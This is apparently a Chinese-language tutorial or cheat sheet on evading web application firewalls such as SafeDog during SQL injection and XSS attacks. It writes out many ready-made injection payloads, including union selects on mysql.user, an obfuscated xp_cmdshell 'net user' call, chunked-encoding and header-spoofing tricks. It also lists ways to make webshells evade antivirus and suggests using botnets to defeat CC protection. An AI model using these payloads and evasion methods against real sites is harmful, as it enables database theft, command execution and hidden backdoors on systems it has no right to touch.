waf简介:
网站WAF是一款服务器安全防护软件,是为IDC运营商、虚拟主机服务商、企业主机、服务器管理者等用户提供服务器安全防范的实用系统,是集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。常见的系统攻击分为两类:一是利用Web服务器的漏洞进行攻击,如DDOS攻击、病毒木马破坏等攻击;二是利用网页自身的安全漏洞进行攻击,如SQL注入攻击、跨站脚本攻击等。常见攻击方式对网站服务器带来的危害主要集中在病毒木马破坏、网页非法篡改、各类网络攻击带来的威胁。
以下都是用安全狗3.0测试的奥。(很多4.0都已经绕不过去了,重在学习思路)
1、白名单绕过
(注:现在基本都是自定义白名单,不是默认的啦)
360webscan脚本存在这个问题,就是判断是否为admin dede install等目录,如果是则不做拦截
比如:www.spisec.com/pen/news.php?id=1 union select user,password from mysql.user
可以改为:
www.spisec.com/pen/news.php/admin?id=1 union select user,password from mysql.user
或者
www.spisec.com/pen/admin/..\news.php?id=1 union select user,password from mysql.user
详细的见: http://www.wooyun.org/bugs/wooyun-2014-050576
2、大小写绕过
我这里虽然被拦截了但是有的waf是可以绕过的。
3、双写绕过注入
将and双写为anandd
4、编码绕过注入
用bp对and进行两次编码。(因为服务器会自动对URL进行一次URL解码,所以需要把关键字编码两次)
5、内联注释绕过注入
将id=1 and 1=1 写为 id=1/*!and*/1=1 (这种方式安全狗最新版本已经过滤了,但是对很多waf还是有用的)
6、修改请求方式绕过
过滤了get但是没有过滤post、cookie。waf默认是关闭的,
7、复参数绕过 (&id=)
例如一个请求是这样的
GET /pen/news.php?id=1 union select user,password from mysql.user
可以修改为
GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user
很多WAF都可以这样绕,测试最新版WAF能绕过部分语句。
8、特殊字符替换空格
用一些特殊字符代替空格,比如在mysql中%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的WAF,在sqlserver中可以用/**/代替空格,也可以使用如下方法:
http://192.168.60.68/sql.php?id=1/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5
http://192.168.60.68/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/1=2
特殊字符有:mysql:%0a/**/可以绕过最新版本WAF sqlerver: /**/
/*|%23--%23|*/
/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5
这条语句不行,看一下防护日志,是因为把uaer函数加入黑名单啦。替换user即可。
9、特殊字符拼接 (+)
把特殊字符拼接起来绕过WAF的检测,比如在Mysql中,可以利用注释/**/来绕过,在mssql中,函数里面可以用+来拼接
如:GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')
可以改为:GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
10、利用WAF本身的功能绕过
把"*"替换为空
例:uni*on+sel*ect+1,2,3,4....(这种方法不适用于安全狗)
假如你发现WAF会把"*"替换为空,那么你就可以利用这一特性来进行绕过 http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....
其它方法-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)
11、使用其他变量或者命令对注入语句进行替换
COMMAND | WHAT TO USE INSTEAD
version()| @@version
concat() | concat_ws()
group_concat() | concat_ws()
= | like
1| MOD(8,7)
12、以上方法组合绕过
(如果user函数都能绕过去,那基本通杀,因为对user()这样的函数保护的最好)
1、 替换法+URL编码
例:先判断注入点,把and为&&,urlencode后为%26%26
http://192.168.60.68/sql.php?id=1%20%26%26%20-1=-2
2、注释+替换法
3、内联注释+替换法
1.利用()代替空格
2.利用mysql特性/*!*/执行语句
3.利用/**/混淆代码
我给出的注入语句是:
union/*%00*//*!50010select*/(database/**/()),(user/**/())%23 (50010代表数据库版本)
这里要注意的几点是:
1.mysql关键字中是不能插入/**/的,即se/**/lect是会报错的,但是函数名和括号之间是可以加上/**/的,像database/**/()这样的代码是可以执行的
2./*!*/中间的代码是可以执行的,其中50010为mysql版本号,只要mysql大于这个版本就会执行里面的代码
3.数据或者函数周围可以无限嵌套()
4.利用好%00 user())
最新过waf方法:http://192.168.60.68/sql.php?id=1/*!union*//*%!aa*//*!select*/1,2,3,4
13、分块传输 (很重要,必须掌握)(4.0也可过)
过post方法 (bp可直接把get方式改为post)
添加http头信息
Transfer-Encoding: Chunked
(4 6 7 2 8 3 这些后面也可以直接加 ;hfdj 来 干扰 也不会影响)
或
还可以用此方法也可以过(注意观察d)(有的时候可以)
14、云waf直接找真实IP
15、waf工具绕过 (绕云waf很有效)
(这个方法也是伪造IP头。X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
)
工具:bp里边插件扩展里bypass waf 。
16、路径随意跳转法 可以使用../来完成
XSS过狗
(其他的语句可进行URL编码)
因为老是弹窗,所以截图,还有很多看突破安全狗文档。
二、网马免杀
1、把马创建成函数,后面只要调用函数就行
2、变量覆盖
3、组合法(怎么组合s)
4、在线加密
5、文件包含
防盗链绕过:修改Referer头。
防cc绕过:可以控制大量的肉鸡同时访问
扩展笔记:(代码加密两个原因:1、绕过过滤waf啥的,2、留后门)
php:mumaasp.com 这个网站有很多后门木马,但是一旦用了会给网站的人留后门,别用啊。